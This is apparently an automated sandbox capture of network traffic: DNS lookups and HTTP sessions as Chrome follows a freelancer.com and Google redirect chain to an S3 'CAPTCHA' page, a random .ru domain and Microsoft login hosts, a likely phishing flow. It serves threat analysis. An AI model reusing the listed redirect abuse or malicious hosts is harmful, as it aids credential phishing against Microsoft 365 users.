Dec 5, 2024 22:16:27.417785883 CET	192.168.2.4	1.1.1.1	0xd6c7	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:31.895247936 CET	192.168.2.4	1.1.1.1	0xf257	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:31.895587921 CET	192.168.2.4	1.1.1.1	0xdd3	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:48.213864088 CET	192.168.2.4	1.1.1.1	0x1c0d	Standard query (0)	yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:48.214023113 CET	192.168.2.4	1.1.1.1	0x6480	Standard query (0)	yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru	65	IN (0x0001)	false
Dec 5, 2024 22:16:51.974020004 CET	192.168.2.4	1.1.1.1	0x1699	Standard query (0)	excel.office.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:51.974208117 CET	192.168.2.4	1.1.1.1	0x9e48	Standard query (0)	excel.office.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:51.978786945 CET	192.168.2.4	1.1.1.1	0x3caa	Standard query (0)	yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:51.978951931 CET	192.168.2.4	1.1.1.1	0xc320	Standard query (0)	yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru	65	IN (0x0001)	false
Dec 5, 2024 22:16:54.502474070 CET	192.168.2.4	1.1.1.1	0xf5c9	Standard query (0)	www.microsoft365.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:54.502633095 CET	192.168.2.4	1.1.1.1	0x64b0	Standard query (0)	www.microsoft365.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:56.886743069 CET	192.168.2.4	1.1.1.1	0xac22	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:56.886929035 CET	192.168.2.4	1.1.1.1	0x822e	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:59.655397892 CET	192.168.2.4	1.1.1.1	0x7c93	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:59.655585051 CET	192.168.2.4	1.1.1.1	0x1a2a	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 5, 2024 22:17:02.711798906 CET	192.168.2.4	1.1.1.1	0x55d7	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:17:02.711962938 CET	192.168.2.4	1.1.1.1	0x73c6	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 5, 2024 22:17:02.736687899 CET	192.168.2.4	1.1.1.1	0xe766	Standard query (0)	www.microsoft365.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:17:02.736967087 CET	192.168.2.4	1.1.1.1	0xaf83	Standard query (0)	www.microsoft365.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 5, 2024 22:16:03.123218060 CET	1.1.1.1	192.168.2.4	0x172e	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 5, 2024 22:16:03.125154972 CET	1.1.1.1	192.168.2.4	0x522e	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:04.215754032 CET	1.1.1.1	192.168.2.4	0x7ac4	No error (0)	www.freelancer.com	freelancer.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:04.215754032 CET	1.1.1.1	192.168.2.4	0x7ac4	No error (0)	freelancer.map.fastly.net		151.101.2.114	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:04.215754032 CET	1.1.1.1	192.168.2.4	0x7ac4	No error (0)	freelancer.map.fastly.net		151.101.66.114	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:04.215754032 CET	1.1.1.1	192.168.2.4	0x7ac4	No error (0)	freelancer.map.fastly.net		151.101.130.114	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:04.215754032 CET	1.1.1.1	192.168.2.4	0x7ac4	No error (0)	freelancer.map.fastly.net		151.101.194.114	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:04.228898048 CET	1.1.1.1	192.168.2.4	0x7169	No error (0)	www.freelancer.com	freelancer.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:06.197540045 CET	1.1.1.1	192.168.2.4	0xe459	No error (0)	www.google.com.bn		172.217.17.67	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:11.968218088 CET	1.1.1.1	192.168.2.4	0x3ee	No error (0)	fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com	s3-website.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:11.986188889 CET	1.1.1.1	192.168.2.4	0x2c05	No error (0)	fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com	s3-website.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:11.986188889 CET	1.1.1.1	192.168.2.4	0x2c05	No error (0)	s3-website.us-east-2.amazonaws.com		3.5.128.104	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:11.986188889 CET	1.1.1.1	192.168.2.4	0x2c05	No error (0)	s3-website.us-east-2.amazonaws.com		3.5.133.158	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:11.986188889 CET	1.1.1.1	192.168.2.4	0x2c05	No error (0)	s3-website.us-east-2.amazonaws.com		52.219.93.232	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:11.986188889 CET	1.1.1.1	192.168.2.4	0x2c05	No error (0)	s3-website.us-east-2.amazonaws.com		52.219.178.48	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:11.986188889 CET	1.1.1.1	192.168.2.4	0x2c05	No error (0)	s3-website.us-east-2.amazonaws.com		52.219.110.40	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:11.986188889 CET	1.1.1.1	192.168.2.4	0x2c05	No error (0)	s3-website.us-east-2.amazonaws.com		3.5.130.82	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:11.986188889 CET	1.1.1.1	192.168.2.4	0x2c05	No error (0)	s3-website.us-east-2.amazonaws.com		52.219.102.224	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:11.986188889 CET	1.1.1.1	192.168.2.4	0x2c05	No error (0)	s3-website.us-east-2.amazonaws.com		52.219.93.24	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:13.484050035 CET	1.1.1.1	192.168.2.4	0x1d4e	No error (0)	hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:13.484050035 CET	1.1.1.1	192.168.2.4	0x1d4e	No error (0)	hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:13.484802008 CET	1.1.1.1	192.168.2.4	0x7072	No error (0)	hcaptcha.com			65	IN (0x0001)	false
Dec 5, 2024 22:16:19.798154116 CET	1.1.1.1	192.168.2.4	0x8bb4	No error (0)	es.ineffable9.com		104.21.43.181	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:19.798154116 CET	1.1.1.1	192.168.2.4	0x8bb4	No error (0)	es.ineffable9.com		172.67.182.170	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:19.799047947 CET	1.1.1.1	192.168.2.4	0x968d	No error (0)	es.ineffable9.com			65	IN (0x0001)	false
Dec 5, 2024 22:16:23.435632944 CET	1.1.1.1	192.168.2.4	0xaa7a	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:23.435632944 CET	1.1.1.1	192.168.2.4	0xaa7a	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:23.435632944 CET	1.1.1.1	192.168.2.4	0xaa7a	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:23.435632944 CET	1.1.1.1	192.168.2.4	0xaa7a	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:23.435800076 CET	1.1.1.1	192.168.2.4	0x5063	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:23.435800076 CET	1.1.1.1	192.168.2.4	0x5063	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:23.436111927 CET	1.1.1.1	192.168.2.4	0x7732	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 5, 2024 22:16:23.436124086 CET	1.1.1.1	192.168.2.4	0xb168	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 5, 2024 22:16:23.437258005 CET	1.1.1.1	192.168.2.4	0x9a42	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:23.437258005 CET	1.1.1.1	192.168.2.4	0x9a42	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:25.648277044 CET	1.1.1.1	192.168.2.4	0x1c22	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:25.648277044 CET	1.1.1.1	192.168.2.4	0x1c22	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:25.648384094 CET	1.1.1.1	192.168.2.4	0xff5c	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 5, 2024 22:16:25.702406883 CET	1.1.1.1	192.168.2.4	0x2ec	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:25.702406883 CET	1.1.1.1	192.168.2.4	0x2ec	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:25.702406883 CET	1.1.1.1	192.168.2.4	0x2ec	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:25.702406883 CET	1.1.1.1	192.168.2.4	0x2ec	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:27.537935972 CET	1.1.1.1	192.168.2.4	0xf893	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 5, 2024 22:16:27.538170099 CET	1.1.1.1	192.168.2.4	0x19ae	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:27.538170099 CET	1.1.1.1	192.168.2.4	0x19ae	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:27.555154085 CET	1.1.1.1	192.168.2.4	0xd6c7	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 5, 2024 22:16:27.555172920 CET	1.1.1.1	192.168.2.4	0xbf9c	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:27.555172920 CET	1.1.1.1	192.168.2.4	0xbf9c	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:32.032670975 CET	1.1.1.1	192.168.2.4	0xf257	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:48.614883900 CET	1.1.1.1	192.168.2.4	0x1c0d	No error (0)	yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru		172.67.189.38	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:48.614883900 CET	1.1.1.1	192.168.2.4	0x1c0d	No error (0)	yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru		104.21.65.72	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:48.614907980 CET	1.1.1.1	192.168.2.4	0x6480	No error (0)	yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru			65	IN (0x0001)	false
Dec 5, 2024 22:16:52.116748095 CET	1.1.1.1	192.168.2.4	0x3caa	No error (0)	yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru		104.21.65.72	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:52.116748095 CET	1.1.1.1	192.168.2.4	0x3caa	No error (0)	yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru		172.67.189.38	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:52.117897987 CET	1.1.1.1	192.168.2.4	0xc320	No error (0)	yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru			65	IN (0x0001)	false
Dec 5, 2024 22:16:52.436435938 CET	1.1.1.1	192.168.2.4	0x9e48	No error (0)	excel.office.com	home-redirects.www.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:52.436435938 CET	1.1.1.1	192.168.2.4	0x9e48	No error (0)	home-redirects.www.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:52.524996042 CET	1.1.1.1	192.168.2.4	0x1699	No error (0)	excel.office.com	home-redirects.www.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:52.524996042 CET	1.1.1.1	192.168.2.4	0x1699	No error (0)	home-redirects.www.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:54.830602884 CET	1.1.1.1	192.168.2.4	0x64b0	No error (0)	www.microsoft365.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:54.830602884 CET	1.1.1.1	192.168.2.4	0x64b0	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:54.890852928 CET	1.1.1.1	192.168.2.4	0xf5c9	No error (0)	www.microsoft365.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:54.890852928 CET	1.1.1.1	192.168.2.4	0xf5c9	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:57.026288033 CET	1.1.1.1	192.168.2.4	0x822e	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:57.027070999 CET	1.1.1.1	192.168.2.4	0xac22	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:59.793087959 CET	1.1.1.1	192.168.2.4	0x7c93	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:59.793087959 CET	1.1.1.1	192.168.2.4	0x7c93	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:59.793087959 CET	1.1.1.1	192.168.2.4	0x7c93	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:59.879292965 CET	1.1.1.1	192.168.2.4	0x1a2a	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:16:59.879292965 CET	1.1.1.1	192.168.2.4	0x1a2a	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:17:02.848781109 CET	1.1.1.1	192.168.2.4	0x55d7	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:17:02.848781109 CET	1.1.1.1	192.168.2.4	0x55d7	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:17:02.848781109 CET	1.1.1.1	192.168.2.4	0x55d7	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:17:02.849034071 CET	1.1.1.1	192.168.2.4	0x73c6	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:17:02.849034071 CET	1.1.1.1	192.168.2.4	0x73c6	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:17:02.874706984 CET	1.1.1.1	192.168.2.4	0xaf83	No error (0)	www.microsoft365.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:17:02.874706984 CET	1.1.1.1	192.168.2.4	0xaf83	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:17:02.874970913 CET	1.1.1.1	192.168.2.4	0xe766	No error (0)	www.microsoft365.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:17:02.874970913 CET	1.1.1.1	192.168.2.4	0xe766	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:17:05.343894005 CET	1.1.1.1	192.168.2.4	0x25a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:17:05.343894005 CET	1.1.1.1	192.168.2.4	0x25a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:17:07.830440044 CET	1.1.1.1	192.168.2.4	0x5479	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 22:17:07.830440044 CET	1.1.1.1	192.168.2.4	0x5479	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.freelancer.com

fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com

hcaptcha.com

es.ineffable9.com

https:

code.jquery.com

challenges.cloudflare.com

cdnjs.cloudflare.com

yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru

aadcdn.msftauth.net

aadcdn.msauth.net

a.nel.cloudflare.com

otelrules.azureedge.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49745	3.5.128.104	80	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 22:16:12.108175039 CET	470	OUT	GET / HTTP/1.1 Host: fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 5, 2024 22:16:13.292212963 CET	367	IN	HTTP/1.1 200 OK x-amz-id-2: iI2siM/gUCINJbPpfpZAfwLI7c6HoHEhXUDXXM7DkJ0ujhNJEjl8adJjF/hDfUWwdQpIjkYxHPYo/vLy0234amPN3OuKi9Oa5xvHHs+b79A= x-amz-request-id: SHZEG8YAF77ANQBM Date: Thu, 05 Dec 2024 21:16:14 GMT Last-Modified: Thu, 05 Dec 2024 16:15:26 GMT ETag: "da51f3ee3a0842efa3777561ebabf9c2" Content-Type: text/html Content-Length: 2357 Server: AmazonS3
Dec 5, 2024 22:16:13.292320013 CET	1236	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Security challenge CAPTCHA</title> <script src="https://hcaptcha.com/1/api.js" a
Dec 5, 2024 22:16:13.292541981 CET	1121	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 35 61 30 34 39 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d Data Ascii: background-color: #45a049; } </style></head><body> <div class="container"> <h1>Complete the CAPTCHA to Proceed</h1> ... Form --> <form action="" method="GET" id="redirect-form
Dec 5, 2024 22:16:15.857600927 CET	454	OUT	GET /favicon.ico HTTP/1.1 Host: fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 5, 2024 22:16:16.207691908 CET	300	IN	HTTP/1.1 403 Forbidden x-amz-request-id: CYW8RHYTCDQ9ZVHB x-amz-id-2: WfVzbU6yU0g1nUh43zFsWyn/MVf790HAHfizgy5y3QZzmlruay1pY2tjKugEUlokJcLuqKRn1BkmmHNM9mKBYhlpTwlbvwrNMBEHYRkhB2A= Content-Type: text/html; charset=utf-8 Content-Length: 335 Date: Thu, 05 Dec 2024 21:16:15 GMT Server: AmazonS3
Dec 5, 2024 22:16:16.448276043 CET	335	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 75 6c Data Ascii: <html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><ul><li>Code: AccessDenied</li><li>Message: Access Denied</li><li>RequestId: CYW8RHYTCDQ9ZVHB</li><li>HostId: WfVzbU6yU0g1nUh43zFsWyn/MVf790HAHfizgy5y3QZzmlruay

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49746	3.5.128.104	80	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 22:16:57.225425005 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	151.101.2.114	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:05 UTC	1119	OUT	GET /users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6 HTTP/1.1 Host: www.freelancer.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:06 UTC	896	IN	HTTP/1.1 302 Found Connection: close x-frame-options: SAMEORIGIN x-timer: S1733433366.836485,VS0,VE54 accept-ranges: bytes strict-transport-security: max-age=2592000 content-type: text/html; charset=UTF-8 via: 1.1 varnish, 1.1 varnish, 1.1 varnish location: https://www.google.com.bn/url?fnc=a9XTEoexMBpyPYn99soX&ndp=m6lKEDZMuBIQeZn7RBkX&sa=t&pfuv=BY2IJKbokHGBEdfDSRyz&ncbe=tA02sXUJ4dkStFSKl5Bg&db=oBemf3zEg5VOxgJRxd3H&fg=SSndprYXntqQtLjEHziw&url=amp%2Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com server: nginx x-request-id: 5af98fc382fa47cf47ec4e0df6da6aa8 Date: Thu, 05 Dec 2024 21:16:05 GMT X-Served-By: cache-iad-kjyo7100064-IAD, cache-iad-kjyo7100023-IAD, cache-ewr-kewr1740024-EWR X-Cache: MISS, MISS, MISS, MISS X-Cache-Hits: 0, 0, 0 Vary: Accept-Encoding, X-Request-Host X-Fastly-Request-Id: 898e4783-91cd-4184-80e5-e8d16a162ae5 transfer-encoding: chunked
2024-12-05 21:16:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49748	104.19.230.21	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:14 UTC	558	OUT	GET /1/api.js HTTP/1.1 Host: hcaptcha.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:15 UTC	492	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:15 GMT Content-Type: application/javascript Content-Length: 150639 Connection: close CF-Ray: 8ed70e61fd0d4288-EWR CF-Cache-Status: HIT Age: 0 Cache-Control: private, max-age=300 ETag: W/"6266f4e068faf5f1e1e5dce33fe9f2c7" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Origin alt-svc: h3=":443"; ma=86400 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Server: cloudflare
